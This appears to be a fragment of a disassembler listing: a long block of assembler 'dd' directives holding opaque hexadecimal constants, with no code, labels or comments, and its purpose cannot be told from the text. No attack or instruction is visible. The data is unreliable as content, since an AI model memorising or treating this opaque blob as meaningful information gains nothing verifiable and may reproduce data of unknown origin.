		dd 4A83207Ch, 0F0D3D5B9h, 0EE12818Bh, 0A21D70B4h, 32C7CE9Dh
		dd 0C6C74316h, 56404552h, 7B6810B9h, 2E53F203h,	14A5492h
		dd 8366460Eh, 24D6E9DDh, 56B15B70h, 2D0CF06Bh, 8854AAA9h
		dd 966BE3C0h, 0B3215856h, 58DE250h, 311EFB71h, 2D2470D1h
		dd 2E272F68h, 5B97E04Dh, 0B7BE8055h, 7510791Eh,	1469968Ch
		dd 0C169CF5Fh, 4E7E0B4Ch, 0B58905B4h, 6953F4BAh, 0F752977Ch
		dd 1FFE8309h, 0D218DC2Dh, 0AEF3C77Fh, 0A5B50C37h, 1712709Fh
		dd 0A7A05411h, 0F7FB1887h, 5AE908D7h, 2D1740B6h, 7C472FBDh
		dd 4BF571Ch, 807B1E5Ah,	613DE318h, 0F8014A13h, 0D5A8A285h
		dd 61B2701h, 0A8A96BE9h, 0A5F0B5E1h, 5725BDB6h,	8EF46EABh
		dd 82C5E658h, 0DC80B541h, 0B13B51D4h, 30F97EBBh, 6C29BBCh
		dd 63CE2885h, 0B050A8CBh, 0E0C00407h, 0ABF72408h, 0E96BCE01h
		dd 7581A2D1h, 41685EF2h, 5B043350h, 1D4284C9h, 0C10F0956h
		dd 6F01267Fh, 2ACBDBCDh, 4ED3A2F4h, 0B48A2EAh, 8F0D4A57h
		dd 0C2A2AB5Bh, 595F7E07h, 0A2B06A4Bh, 55212D68h, 0A15F6A5Ah
		dd 2A7BECB7h, 0B7FAAF93h, 1209DB50h, 0FF6B1164h, 0C4A188h
		dd 26234948h, 4C5E44E9h, 749AFF7h, 36072860h, 0FDF221AFh
		dd 0AE824690h, 3ADCF160h, 0FE0A7D25h, 3B760E4Ch, 0F20116EBh
		dd 2BE834E9h, 71C0EBD2h, 0E5E96419h, 0DC282F39h, 0A3FE4A95h
		dd 0BA2579FAh, 0F4626AC1h, 421CC8BFh, 0DB71ADEEh, 0DE8F062Dh
		dd 0A9314A3Bh, 0D4AAD240h, 1DBE80A9h, 2D023E42h, 0F7E8D148h
		dd 3E5CD0h, 9833C025h, 0C4093552h, 75029001h, 0B182E11Ah
		dd 0B579FBFh, 44C5E5Fh,	0EF5BDE89h, 8C38E31h, 6F10367Dh
		dd 0D83012B3h, 5E95CBBAh, 2A490A8h, 6CB4E936h, 2A95A0DDh
		dd 99694FD0h, 0C709E432h, 0E7FC942Dh, 0EEF150BFh, 11615B16h
		dd 4524E0F8h, 0E2B11259h, 124A78E5h, 0EA5B574Fh, 8085CA56h
		dd 31C2E7F2h, 8CF08EAh,	0BB019406h, 40D3239Eh, 0AF3BC30h
		dd 153A0AF6h, 0E3E98488h, 0DE09A8B4h, 0A0730A49h, 0C0B0B666h
		dd 80020FE6h, 32C442CEh, 0A6CCAB5Fh, 83D16EEBh,	0ACDA4EA9h
		dd 0DDE58EAh, 0C28CD3D9h, 0CC875A02h, 1B61823Fh, 0C5C91055h
		dd 0F275EE5Eh, 98E7FDEFh, 0B7878896h, 72FE05C0h, 0C619C37h
		dd 2D041941h, 8EA503Fh,	4D2D0948h, 0BE290F46h, 0C51C86A7h
		dd 0BDC1F32Fh, 0E9AE1A98h, 682FE289h, 67A7744Ch, 62079150h
		dd 945FEEDEh, 3353506h,	4B69E81Dh, 0E9A92CBAh, 21CE1F2Fh
		dd 4151675Bh, 12A2B03Eh, 0F5B12F16h, 3EED2917h,	613DCE16h
		dd 2FBD4FAh, 18B27F21h,	1BAA4FF7h, 0F6160C83h, 2BAC5D35h
		dd 4A73F2C0h, 12D061B4h, 55F61081h, 66AC2C0Bh, 21674D9h
		dd 0E9F00EE1h, 0ACFE58F9h, 6BA302D3h, 12583716h, 201DC976h
		dd 0D041810Dh, 837FD869h, 7ADE931h, 8BAFE5D9h, 44B3E291h
		dd 4267BFDh, 0D13006B2h, 2A03AE5Ah, 0CBE2B551h,	2183B4EBh
		dd 0FCB1E4DEh, 81048CC5h, 5D3BDECh, 2B3599BAh, 0AE806462h
		dd 4638A6F1h, 1F99F0Ah,	0A896C742h, 0E612D470h,	0C45E66BCh
		dd 64D48059h, 324B9945h, 0DAFBEE1h, 0BB9D0C72h,	0E9564A01h
		dd 5F5CC99Eh, 45F4AAA3h, 0B70EC348h, 4CC53FF2h,	2AEC80C6h
		dd 0FCC925E5h, 0E92D83D0h, 52B85D0h, 17CC94EEh,	0DD40AACAh
		dd 1E9D029h, 5CE8B7B0h,	745D1E68h, 0F9FC8BF0h, 75B9809Dh
		dd 0BF045D3Eh, 7A05A179h, 0E8B1E974h, 0B092FFA8h, 3C1F5E05h
		dd 49D23334h, 0A46B9DB1h, 0AD69E7Bh, 0A51437EFh, 8831B06Ah
		dd 772CC377h, 1E42C3CEh, 6D640FE1h, 3A84C945h, 6D6197E5h
		dd 0C770407Ah, 8688CCE8h, 0BBD36997h, 743A7BADh, 0EBA4A609h
		dd 1F4DBC5Ah, 0DEEF8B53h, 90C85432h, 0C82538C9h, 0BDF39C5Fh
		dd 0E9066ED3h, 4C34DAB3h, 6701DC53h, 4D73576Ah,	417CC645h
		dd 9350B511h, 486D1F85h, 0C4AA1332h, 0BF728552h, 0CA42A0CBh
		dd 4A342101h, 3A86E966h, 8AEA2612h, 0CB410Bh, 1F0556FFh
		dd 27EC4748h, 25B5C06h,	2D4F75E9h, 0E3482DFEh, 0D8494E82h
		dd 830FF759h, 0A80A044Ah, 0B84C402Fh, 0C0356613h, 8E0308EFh
		dd 0A9B2D01h, 0F3B55A5h, 0A4CB56FEh, 0C34FEFFAh, 0E98294B2h
		dd 0E755583Ch, 0E26809A4h, 106B897Fh, 0B1ACC0D9h, 0F829096Eh
		dd 0EF933404h, 71F20131h, 0EA16BB05h, 2D68C62Ch, 1EF679B8h
		dd 0D9C7F5Ah, 732DF2B9h, 0E9D21281h, 441C10CEh,	0D3C1E65Bh
		dd 4C5A9FCh, 0ADDDAB44h, 0B99B210h, 91155B68h, 6E3D313Eh
		dd 52E95D60h, 0AF96B959h, 3A85CF81h, 363B11FEh,	0B2EFB989h
		dd 0E040D011h, 0C9CF43C8h, 0E6FCE5C2h, 4A9B8EAAh, 57F69FC5h
		dd 0F44910h, 0C21DAA05h, 772522h, 35780364h, 516F4652h
		dd 4AF5D0B7h, 9E4EA891h, 0D75FFA4Bh, 0EA9A6593h, 281EC9F3h
		dd 53CBF42Fh, 39FED5D2h, 73178C9Eh, 823F71A5h, 49DFC191h
		dd 8AFF01ECh, 88D16807h, 325B73DAh, 0F51A8754h,	60F1E750h
		dd 5082D12Ch, 36C167F6h, 93ADC253h, 0EB923D5Ch,	876021BFh
		dd 998C7BBBh, 4DB9649Fh, 0C418FD5Bh, 1582505Eh,	430209F7h
		dd 6B47A669h, 292524BFh, 0C1685382h, 0BEBE9905h, 58420E30h
		dd 9A06247Fh, 0C66B173h, 0F302DF00h, 0BB535619h, 4F127CBEh
		dd 60ECD01Eh, 6E13022Fh, 34EB5C29h, 5B0C0B3Ah, 1C096A62h
		dd 6DE6B202h, 9DDF703h,	283F97D0h, 0AF150557h, 88507D41h
		dd 0E3CD53DCh, 8B99853Ah, 31BA4176h, 60ACF13Eh,	2997EFC1h
		dd 0A64A74FAh, 9D0908CEh
		dd 89EF2909h, 0E7255FDDh, 3344AA5Dh, 69EF4B66h,	99A680DEh
		dd 4E063959h, 2DB80B50h, 35507747h, 5060860h, 0F0DD0F7h
		dd 3C6B37B9h, 0C3A0CE0Eh, 915F2D59h, 33B6FC73h,	5E09CF26h
		dd 62EDD956h, 1551EA1Dh, 274F0788h, 5904FE71h, 98BECE01h
		dd 0E760899Dh, 0A5602F96h, 5BE97A62h, 0E236D3DAh, 34D2D593h
		dd 4DB38E48h, 0BA3E6097h, 90129FAEh, 0D85D1762h, 0AF08411h
		dd 25F67C85h, 37D040ECh, 89A03E56h, 0A3062CDh, 89081D20h
		dd 296B3723h, 7E59803Dh, 74F20D58h, 8AE910C6h, 6E575CF1h
		dd 0B56C4325h, 2DEE71BDh, 5A54A182h, 687C58C1h,	68D8D6E6h
		dd 0B3645F4Fh, 7D4110E9h, 622C5A0Fh, 0D80EC54Eh, 783BDDh
		dd 0B353515Bh, 303CB160h, 0E1E9D909h, 5D3A1AEDh, 25279CCCh
		dd 3CE8F2F5h, 61878107h, 6035BC45h, 920F67F1h, 132FCA7Eh
		dd 9F625B6Ah, 0E26626F7h, 99575788h, 8104D358h,	3E4137CDh
		dd 5CEA9035h, 6034929Ch, 533BEAD2h, 7704D48h, 375C41CAh
		dd 22ABE660h, 0D80848ECh, 0BF17CD05h, 46E7003Fh, 0F77BAE10h
		dd 64DD530h, 0B0B0ED81h, 0E9BA18C7h, 8058B916h,	28DAEB0Ah
		dd 66C281D8h, 46856152h, 0E796483Ch, 0E5267D2Fh, 5E52A5D5h
		dd 15E9627Eh, 0C29468FDh, 0DD47C940h, 925E79C3h, 5E189AEDh
		dd 0E11B3387h, 7CEB8282h, 5FED2182h, 0EC65C108h, 0CABDDC2Ah
		dd 0E4F3C1CBh, 5E00B62Ah, 0ABDA70C3h, 0C92E7DD7h, 0AED84F79h
		dd 90FC7920h, 0F489553Ch, 500BF92Ah, 53125233h,	7601156Fh
		dd 1F112DC8h, 0E933BD41h, 0D57ED531h, 0E901BBB9h, 2EEC16FBh
		dd 88FEF021h, 0E90520BFh, 9CEA756Ah, 0F4F85DB0h, 0C0169865h
		dd 0E2808EC0h, 4FC2E6A2h, 0ECB8F11Bh, 58F6302Eh, 4DAF639h
		dd 0F13AE9D2h, 648158ECh, 0F03DE74Dh, 0AFBFD45Ch, 0E5CFA039h
		dd 0C0481E6Dh, 0A8BDC711h, 0FABD2761h, 319B60D7h, 7754702Dh
		dd 440013Bh, 0DAF0038Dh, 442A59F1h, 0A9523168h,	0DF29C7D6h
		dd 9DAA6ADFh, 0B137681h, 0F82A3152h, 4572050Eh,	4BB1283h
		dd 10DEC166h, 0C66C2F99h, 0BC249102h, 0AA92324Dh, 0A812E534h
		dd 0EF954627h, 6ADA08h,	0C5FE35B5h, 0FB7F6866h,	523C48BFh
		dd 802E0CB2h, 87067AF2h, 24058849h, 53422D75h, 0DBC67FF7h
		dd 0FC07F102h, 0C151015Ch, 403C5A1Ch, 0D655B34Bh, 0E9820EF8h
		dd 0D25D8170h, 0E34CC1BCh, 0B9637F3Ah, 81E1A75Fh, 805A4F1Ah
		dd 90CD5B21h, 51685200h, 0DD30585Ah, 0E0787EC5h, 0BC762BAh
		dd 854A95E9h, 0AC988CF8h, 2D91345Ch, 3CD101h, 0D5486F68h
		dd 31395E59h, 1A454CFEh, 0DF3B7D6Ch, 0E9D56E62h, 0A46B0595h
		dd 555FE99Fh, 59E8BE91h, 51C22072h, 86085B5h, 0EC748087h
		dd 776C073h, 9F6BE43Ch,	0F40F01C4h, 32EDEE45h, 92C21C09h
		dd 58E746Ch, 0AB6F1B68h, 94952CCCh, 9BEE8163h, 203BC912h
		dd 6819DDB3h, 0CD0C65A7h, 9806D8F0h, 0D2BE0970h, 5D5289F2h
		dd 99638E2Ch, 0DA4494C5h, 6BC3E3D0h, 0CFB6D1B7h, 89EA6581h
		dd 2E5C3D69h, 819B594h,	3DA7DF4Ch, 0DC24E8EEh, 0D4275B61h
		dd 752C0B7Bh, 0F409B1Ah, 0D1E462Ah, 0F39F537Dh,	35E9D805h
		dd 33BFC853h, 0A0E2CB9Eh, 7F90D3F0h, 0AB5BEF50h, 5F48B841h
		dd 0AFB10151h, 0EF8050B7h, 2784609Bh, 34FBC24Ah, 6AA8A0h
		dd 81459A11h, 171912EFh, 0B8293491h, 590840DFh,	8050ED2h
		dd 50EF15DCh, 1C68081Ch, 155B1723h, 679EF2F3h, 0DCAD30C7h
		dd 4DE9E15Ah, 5F4224FDh, 81671649h, 62C9583Dh, 18235A20h
		dd 0BE517169h, 0F50F79E8h, 0B883E911h, 0EDFF63Ch, 0C062E780h
		dd 0D709046Fh, 0F70B6B56h, 2681773Eh, 3BC4B4E9h, 0B52708F3h
		dd 302C28E1h, 7C4F4AEEh, 5778C644h, 5CE23AE8h, 2FFEECCAh
		dd 0F57E2225h, 895DAB34h, 0DC10D5BAh, 6E312ABFh, 0E8F8142Dh
		dd 6702BE00h, 0C1468E0Eh, 0FEBCD2E6h, 1DDE6402h, 0B7F017E9h
		dd 0F6C8FE00h, 530604D0h, 0F5C77288h, 829E1420h, 9BCCA3C2h
		dd 0ABBB44F0h, 0FD5FE904h, 8990EDA3h, 74504B78h, 0FE535EFh
		dd 0AB80B053h, 3D08E94Dh, 1212B9Eh, 0AE9F8055h,	8E440614h
		dd 5A6008C3h, 8F8CC115h, 157C601h, 208C8ACBh, 0EC08B86Dh
		dd 4005D340h, 0C340D457h, 3091E396h, 77A1180Fh,	0C4650210h
		dd 13178008h, 0FF087418h, 0ED638235h, 8D66307Bh, 20082411h
		dd 21317178h, 44BF20AAh, 8C90CD01h, 89B2B10h, 180362E2h
		dd 0CA027794h, 0EC470381h, 4CF40810h, 1583D008h, 0B610561Bh
		dd 0EE9E2061h, 892EF31h, 2801C7D2h, 7E20882Eh, 0B2D508CAh
		dd 0C6E4408h, 0D3086991h, 0DF55E640h, 18F490D1h, 69086554h
		dd 0ED4180F3h, 0DF29C380h, 1094D028h, 8C18AB9Ah, 0A9851870h
		dd 0C64AFA80h, 8485910h, 79F57732h, 0E95306A0h,	2034FA31h
		dd 88C0F12h, 671895B9h,	8A087862h, 66A103EAh, 512E2033h
		dd 0A8488D3Ah, 72A0396Bh, 293F5833h, 0B10186Dh,	0B7340889h
		dd 80F7BC80h, 28C404DAh, 0EA0A557Ch, 46838CC0h,	95F9C418h
		dd 1080B208h, 2F1850C5h, 0CE8608FFh, 9853A981h,	3330FEE7h
		dd 0FE0879F9h, 19335110h, 10623C3Eh, 91032B12h,	40087710h
		dd 71C6481Eh, 40995482h, 884071B8h, 96084002h, 65915B66h
		dd 10836239h, 85038731h, 92081B20h, 93171DAh, 31F921D2h
		dd 19FB801h, 108A3C39h,	99EC4562h, 24AA0886h, 0CF40FD1Ch
		dd 0CE9240E6h, 1F31AC92h, 48E10807h, 73A01888h,	107BB50Ch
		dd 0DE374029h, 0D8208C92h, 826A3284h, 0E8A32C20h, 1012FC58h
		dd 3048DED9h, 0D817086Ah, 0C19B363Bh, 90F55469h, 88B0A904h
		dd 25C9AC51h, 88EB4401h, 8728110h, 0CB0AD51Ah, 8E90A4A6h
		dd 891B119h, 57BC519Fh,	0D8208864h, 90CD155Bh, 8BF6018h
		dd 18C68A2Eh, 2008272Fh, 4E207CA4h, 44524926h, 18A1ED10h
		dd 3208B451h, 4020C430h, 996C0CEEh, 12E0A837h, 92CC80A7h
		dd 80962980h, 8C80EFE5h, 4C10C940h, 70C42CA3h, 0C4A2182Ah
		dd 0F9DC9355h, 68590218h, 80C49828h, 10C64E70h,	13D1F54Dh
		dd 22E8FC9Ch, 0ECC05FA4h, 1EC94792h, 33B8788Bh,	3B1044AAh
		dd 25EC0E5h, 896313EBh,	7AA7B90Eh, 105003Dh, 49408F44h
		dd 750BC90Bh, 78748BF7h, 3DE165Ah, 33F731F0h, 0B10FE0C0h
		dd 2C304F35h, 666C22FBh, 7A8A2EC9h, 5088B7C2h, 4A25FAEDh
		dd 0F556ABCDh, 75D90101h, 0C76E6410h, 3EE1373Bh, 28F79FA6h
		dd 0E4CFDB99h, 4BAFCA21h, 0EB800300h, 4318239Bh, 0E9C230F3h
		dd 0EE142827h, 0B6521F16h, 5AF54225h, 61D5EDD0h, 83D480E3h
		dd 3AD4702Ch, 0E94E04E8h, 59A3D700h, 5619DE05h,	0E9A2C01Fh
		dd 0D9BDC437h, 0D6024B15h, 9CD5CBB3h, 0EF05074Ah, 503B4627h
		dd 7F304BE5h, 0D3FCE910h, 7C88591Dh, 12BA00Bh, 886E1E57h
		dd 94036836h, 44E90EA8h, 5A27383Ch, 331BD7A1h, 4829D9B2h
		dd 0A75FB4C0h, 52A0C8E8h, 384ED468h, 11A167BDh,	53909D1Ch
		dd 0C098C8Dh, 0CC8F5F7Ah, 0AD286104h, 59834AC5h, 91166AA3h
		dd 7A16B6DDh, 0CDE24030h, 27FD01EBh, 0B150B0CBh, 42A6DB9Dh
		dd 0AA9EFBF3h, 1AD90124h, 0E04FF210h, 68A27DAFh, 0C307D276h
		dd 5CB97C4Eh, 5DF90E0Ch, 0EB017623h, 8AD006AEh,	47E9170Bh
		dd 6210A5FDh, 0A6327A43h, 0F89C9D1h, 0A8FE8324h, 22E18736h
		dd 35407A3Dh, 7EB753C1h, 3FC77EA6h, 0EF0F0EF7h,	5B25209Eh
		dd 0AFA50F50h, 1CA9E3B6h, 74F8484Fh, 0CF9BC8BFh, 5620026Fh
		dd 17ACE91Eh, 0C604BC82h, 6E27E0D5h, 199DC44Ah,	0DC5125Ah
		dd 4105DFDh, 895E1F45h
		dd 236A123Ch, 2BDD4240h, 625A3391h, 506F8A59h, 9CE7009h
		dd 0AD93C1EDh, 58351674h, 0FC04F0A7h, 0E41AF641h, 3001B6DAh
		dd 0E9504C5Ch, 0B37EAB82h, 2CFBD70Dh, 0A2405F1Fh, 348C0B0Dh
		dd 0BC053AEh, 6F5F8016h, 0CE0340BDh, 2C9E7B1Eh,	7319EEB0h
		dd 2D30FE03h, 0BCDB7F1Dh, 0F06C4BAh, 0C7095E07h, 0B442CF7Ch
		dd 0E3D54BA1h, 0FBF0CFC3h, 0AC413568h, 4F953EC0h, 2F54D24h
		dd 0E5A4C9FAh, 2BD01740h, 95212328h, 0D1A56225h, 59BF4125h
		dd 0E94BC823h, 0D438EF28h, 0E53CB397h, 617B71AFh, 88108717h
		dd 168259E8h, 682DB022h, 620C9EF7h, 0FE84E8B3h,	0FD0BEE5Bh
		dd 2118DD8Eh, 0D5B0BE9h, 0E2DCA7F5h, 5B0ECBBDh,	274C0957h
		dd 1ED8655Bh, 4E76E75Eh, 1A4B9405h, 49F1FE00h, 0EC19432Ah
		dd 631C0CC1h, 3C0C69A1h, 0A58F4C16h, 955B98A0h,	0BF87408h
		dd 18774E9Ah, 0C5CC3B12h, 0E16E6C9h, 0C6C04CCAh, 7EC42299h
		dd 0D82FE0A0h, 29574001h, 0D1F75EF1h, 45054A8Ah, 0FB51259Dh
		dd 4021E343h, 2568E91Bh, 1CC6140Dh, 0E65CA92Fh,	33AE0984h
		dd 86803DD5h, 722F91EAh, 0E9A03B5Bh, 0A62E2FE9h, 7A34423h
		dd 3ABD5A03h, 0D1466216h, 61408C09h, 7B136091h,	0D2E03235h
		dd 540D6E9h, 44B5081Eh,	6656C9DDh, 346055F6h, 977E7728h
		dd 0C827AEEh, 0D711400h, 0A7993988h, 7447840Bh,	0BA52E095h
		dd 264D585Ah, 364D0B91h, 12E37448h, 0FC234F64h,	42F1DDDCh
		dd 0FE5866E6h, 0C9B8AAC0h, 46BA66A0h, 140C6F24h, 2CBBF312h
		dd 30BFCC03h, 2D0F34B2h, 3584C57h, 7B823E3Ah, 1369882Ah
		dd 0BDAEE926h, 0CAEC8081h, 0E2EBE508h, 0C6EEDD1Eh, 904F3B7h
		dd 0BB5DFBE4h, 860FD9C1h, 0F5B8556Bh, 1FA85313h, 53CB9654h
		dd 0D420FB43h, 4CF22DF3h, 0F7355B54h, 0D6E6AD0Dh, 8C6B12B2h
		dd 9FAA9CD7h, 2F614EF8h, 0E3C7805Eh, 3CE1EECCh,	0C63AFE28h
		dd 8E864EDBh, 0F8DCFD5Ah, 5E7E1F43h, 8463E014h,	1A933816h
		dd 0B43B09F1h, 137AD8EAh, 8151BB30h, 0E7AB0347h, 7025125h
		dd 0E789DF59h, 0A18EA754h, 9DAA1367h, 0CE2820B3h, 496A011Ah
		dd 3AE1030Ch, 40C1CA6Ch, 800A2FA5h, 7122E05h, 1AB5596h
		dd 0BEA52125h, 5BC42F13h, 0BAD23CE9h, 16BAE9DCh, 54D2E0Bh
		dd 8962B4DAh, 51F56CE4h, 0A3396A7Ch, 1A7DCE00h,	0E7134C97h
		dd 8E60B800h, 0B659E97Eh, 0CEBB41B9h, 9209AFB4h, 68AD0922h
		dd 665440EAh, 1B0AA360h, 568DFA61h, 45028877h, 3174EE6Dh
		dd 0BC2804F5h, 0AC9B35BAh, 0A55126E9h, 1C6EBD8Eh, 7ABEDE27h
		dd 70599954h, 0D2009965h, 2E1271C5h, 4305D07h, 0CC014860h
		dd 5952DC41h, 11390F2Fh, 5F514720h, 0CBAE31D4h,	0A2E91284h
		dd 8CBF3A40h, 0E410557Dh, 69AC0068h, 0E95D2C19h, 0BBA4EA2Bh
		dd 8BCB145Ah, 0A29DAC4Fh, 0DCE70983h, 47A8E985h, 13FF5E52h
		dd 8478BD11h, 0AA12DCE5h, 0C609B01Ch, 83890058h, 165AF130h
		dd 34273168h, 0D046C04Ch, 0A48CE80h, 67B3298h, 88FA00F6h
		dd 0BB30E9F7h, 0ED81762Ch, 51201E55h, 207EDDA6h, 4E00EFF6h
		dd 10E5936h, 0A8B850F7h, 0B058C708h, 6AF945EAh,	79B87257h
		dd 6C31AE4Bh, 0E02EF9F7h, 8D9028C2h, 82A1754Ch,	0FD0E5D8Ch
		dd 9247900h, 13427E6h, 8007CD7h, 5F5E575Ah, 0DF5327E9h
		dd 63622354h, 9F5355E7h, 0DE124B24h, 0F2D7DF0h,	1EC2650h
		dd 0EF875845h, 6260708Ch, 0E2D11085h, 1D3344D7h, 0E6548DEAh
		dd 0F6130D7Ch, 0F4367822h, 0B76DCC2h, 9F03EF76h, 0F0B144Ah
		dd 22049C0Ch, 8904AE93h, 0C083F301h, 4C06C926h,	8A2EEBE1h
		dd 5EC1616Ah, 652546E9h, 0DCE0E935h, 2F19D03h, 1E251E4h
		dd 0A22A461h, 0CF6220B8h, 4A2A8B90h, 7F802FB0h,	0BA4CE78h
		dd 0DAA53991h, 538E593Fh, 4D3F815Bh, 933141D6h,	2954CC25h
		dd 809D4AAh, 3E6EE482h,	0FFF32948h, 5B896714h, 6B5902F4h
		dd 0DF317D0Ah, 0CF40DF32h, 0A0303687h, 702A343Dh, 2157CE7h
		dd 62CAF8C3h, 415F2911h, 5B810A6Ch, 335069C5h, 0CB047F7Eh
		dd 590BB692h, 82204C5Ah, 9213BDE7h, 0A74963D1h,	83A85F14h
		dd 57562FA0h, 4999E9D8h, 5717BF8Dh, 5131C8F8h, 0A7D1883Dh
		dd 310A037Fh, 6AC0B9C6h, 48F73A64h, 360097DBh, 355F2F72h
		dd 835071ACh, 629F4BEEh, 0D211D4A5h, 68E1E7FEh,	0DE786B2Eh
		dd 840812C4h, 0FD68D4A2h, 220B416Fh, 62BFD26Bh,	0F0486CDFh
		dd 5C1EAF05h, 3B897517h, 499057BDh, 0D9C712C7h,	7F35BDDh
		dd 4A107D08h, 0F6D080D3h, 0C13880D9h, 59CB07A2h, 0EB82F328h
		dd 519C7637h, 46A430h, 680BF009h, 6B353D6h, 0AEB15185h
		dd 33737630h, 0EAE2E7CEh, 0D92FAECDh, 0D7D9E943h, 0B2BCE984h
		dd 16D2E3AAh, 71EB0144h, 0A5265CA6h, 4A3AD716h,	42A918E8h
		dd 9904695h, 45087EBBh,	80F58055h, 90263546h, 4EFA1F5Ah
		dd 14CAED7Ah, 7752B55h,	3A8B2E74h, 1CA28CE3h, 29954DACh
		dd 910DF4Ch, 0C5290485h, 3EA98958h, 0EBC4BF59h,	4B42B726h
		dd 1189C31Fh, 44AE43Ch,	9F685058h, 0C9E7A842h, 581E29A2h
		dd 0DFE7063Bh, 0DE39BB6Eh, 627E6117h, 1BC21EB8h, 1C0D154h
		dd 310420B9h, 84E9677Fh, 622074E1h, 972709B0h, 0BD094D53h
		dd 5079BFEh, 6E055AE2h,	0F15670ACh, 97534F50h, 173D7FFBh
		dd 60FF5B13h, 3A5EE9B8h, 0AAE6EBC0h, 0EC6EAD2Ch, 0AF953AEEh
		dd 0F0291C8Ah, 27DA0CA3h, 0B12CF229h, 983D9E71h, 0BE16E12Ah
		dd 0C34616CCh, 7F23FA5Dh, 0BBBE0019h, 2B4758E4h, 0DD9A7C68h
		dd 287F2A98h, 5CA490B5h, 9765B4EFh, 0F8DECD07h,	6882D769h
		dd 3F4CF6CEh, 0F5A554E5h, 57E01AD5h, 359109E0h,	0F41E5AD6h
		dd 0FDFE4249h, 8975A31Ah, 1203157Bh, 0D6CABA55h, 0DF7A8700h
		dd 0F2F4BD2Bh, 7D2E3127h, 0EE5A900h, 7D585F26h,	497B04EAh
		dd 86AB24B1h, 44C41296h, 3780A0D6h, 0BFF8215Dh,	77243A65h
		dd 9633DB16h, 70F1CA53h, 0B0351CB2h, 8D925EDFh,	3AE00E98h
		dd 0C0EB52B4h, 0F54A2DE3h, 95FBFA8h, 51CD3994h,	277F2020h
		dd 5C44537Ah, 0CEAE919h, 923B5824h, 0EDF7A4F1h,	0D7E98443h
		dd 633EE42h, 7765F6BAh,	5F0AB550h, 0B4E9424Bh, 0C0BD12C8h
		dd 4FE8421Eh, 14F2199Ch, 0D59EFD5Bh, 0D2418C90h, 6FE46E30h
		dd 2D8561CBh, 0CD25BEF4h, 0BF370EBFh, 755CC419h, 68BEE582h
		dd 53E64B79h, 0A1CBBED2h, 1B7AE90Ch, 0D125684Eh, 6040563Bh
		dd 40112FBBh, 0B4BF6703h, 24A7BEFCh, 1218DE16h,	3F34E00Ah
		dd 0CA3D0725h, 208092Dh, 0F1F4CE7h, 514C04D2h, 63BA00A0h
		dd 0F446FE2Dh, 0F7DE6B29h, 0F9539076h, 0DD3F420Fh, 9182DA6Eh
		dd 68075B57h, 59983214h, 0B01212FFh, 2D5413D6h,	5DEEEC11h
		dd 15BF5702h, 75306948h, 0FFE9E2h, 0AA6A8370h, 0D2B9004Dh
		dd 0E9FF59B2h, 0A1951E23h, 80362AA3h, 4EE9520h,	79C04DC7h
		dd 85B9C529h, 0F03121BFh, 0E7EC24AAh, 440748h, 0EA145C35h
		dd 32E9FE31h, 0ADBD23A1h, 0A66FF276h, 51015A8h,	0E8C0D0F6h
		dd 1F32F804h, 81D2732Ch, 8AF04A84h, 41B913F6h, 4B2A1264h
		dd 0A62A6957h, 94B0081Bh, 2D9E5C2Fh, 32BD2CD8h,	81F375D9h
		dd 6280E90Bh, 7416D7D6h, 6C306818h, 99B4A729h, 165AAEFCh
		dd 206A1E52h, 16FDEA82h, 4E2F2723h, 68FA9A98h, 9E605F82h
		dd 0CA7E8482h, 2CC8313Fh, 808F048Eh, 0F65201CEh, 5AE52454h
		dd 12A4EEE4h, 313CA868h, 0F40EB5CBh, 282ED4C5h,	0E98413EEh
		dd 0B405E0h, 804F00A2h,	94E28132h, 1A3B3F1Ch, 24758C1h
		dd 0B614D9C2h, 3AE84491h
		dd 700A54FAh, 26060558h, 2B62CF36h, 0FD46CBh, 99290B73h
		dd 0CF015C43h, 0EA733713h, 0ABB27277h, 71ED7D3Ch, 93040888h
		dd 237AF156h, 7A3781C8h, 89204348h, 0B78516CDh,	0E9D203BCh
		dd 2A1788EDh, 25E95F54h, 0EB5BDF84h, 867AB92Dh,	1F984A23h
		dd 21385317h, 0E0002CADh, 0F7223424h, 0ED09C1DDh, 2077E903h
		dd 51D3F601h, 80B605B5h, 0E808EBF5h, 99C31E89h,	28FBF342h
		dd 94D243D8h, 3B83D8BBh, 0FE56BD40h, 13BBCB5h, 55B3F68h
		dd 0E22B6023h, 6B46BB09h, 1DA40215h, 0EE9B6801h, 930405ABh
		dd 995D56F3h, 1D9FA682h, 0BCD5200Ah, 0FABD546Bh, 5536EF44h
		dd 0A0516726h, 2D730B8Ah, 518C296Bh, 12022012h,	0CE81684Bh
		dd 4E3FE19Eh, 0D88E969Eh, 1FF60C71h, 9472252Eh,	0F9293631h
		dd 5DF21E61h, 6325C14h,	0DD467405h, 519D8648h, 27554D26h
		dd 0A92F312Ch, 80A47501h, 0F2472119h, 7C38100h,	54EA3E16h
		dd 1EDB0B10h, 0B417C2Ch, 4103E945h, 94C544A8h, 485959FFh
		dd 0CA01800Ah, 0E9DAF635h, 0A82A1A79h, 818BD489h, 4B9F56B8h
		dd 4A9B9C60h, 2C172979h, 4E24026Dh, 0DC5B51DFh,	789842C3h
		dd 4CDE4DDh, 3A3558E2h,	0BCBF801Eh, 0F14FC5CFh,	0F85DD8C2h
		dd 0EE887D22h, 0E8B6636h, 0D2E43A59h, 0B33C62C1h, 0C42BD8C9h
		dd 0F25E827Bh, 0A0439C5Fh, 8039B80Dh, 71682B9h,	46BF3EB3h
		dd 97320B60h, 1F0550B5h, 0E4B9D73Ah, 0CA2D818Eh, 0E434E868h
		dd 7A105D8h, 3E02D95Bh,	0FDD6D7F3h, 0C37C3EA5h,	0EEE34E73h
		dd 0E8009E69h, 4EE803C1h, 0E649EE0Ah, 0F8F7F231h, 52492D42h
		dd 0B504F17Ch, 4C10732h, 8078E5E9h, 689CF45Bh, 3D8A6FB0h
		dd 7D638955h, 5F17E347h, 6D4AC731h, 170BFA05h, 302BDAFDh
		dd 660D56B9h, 521F5351h, 0EC0E08B6h, 0CBAE134Bh, 0E1197FC8h
		dd 0C8980125h, 0AADF44h, 0F8424BD8h, 0E34CC170h, 0FA231C2Bh
		dd 2DFC162Fh, 10DA998Ch, 66879125h, 4468175Eh, 0A22EB841h
		dd 9812505Bh, 393E3282h, 0EC705D80h, 0E66C5E2Fh, 12F14B64h
		dd 1CDB4492h, 45FA1248h, 0B4C7C5C7h, 31392167h,	0CB5F7BD0h
		dd 0DDBAD400h, 9433AE77h, 2D592588h, 68B94062h,	0C5079971h
		dd 0EEB4CED5h, 9DE6AF33h, 3D26F1F3h, 52011FA4h,	0EF8D84EBh
		dd 7CD83E79h, 0C1C7C97Eh, 71E1967Fh, 0E2758209h, 7AC100D3h
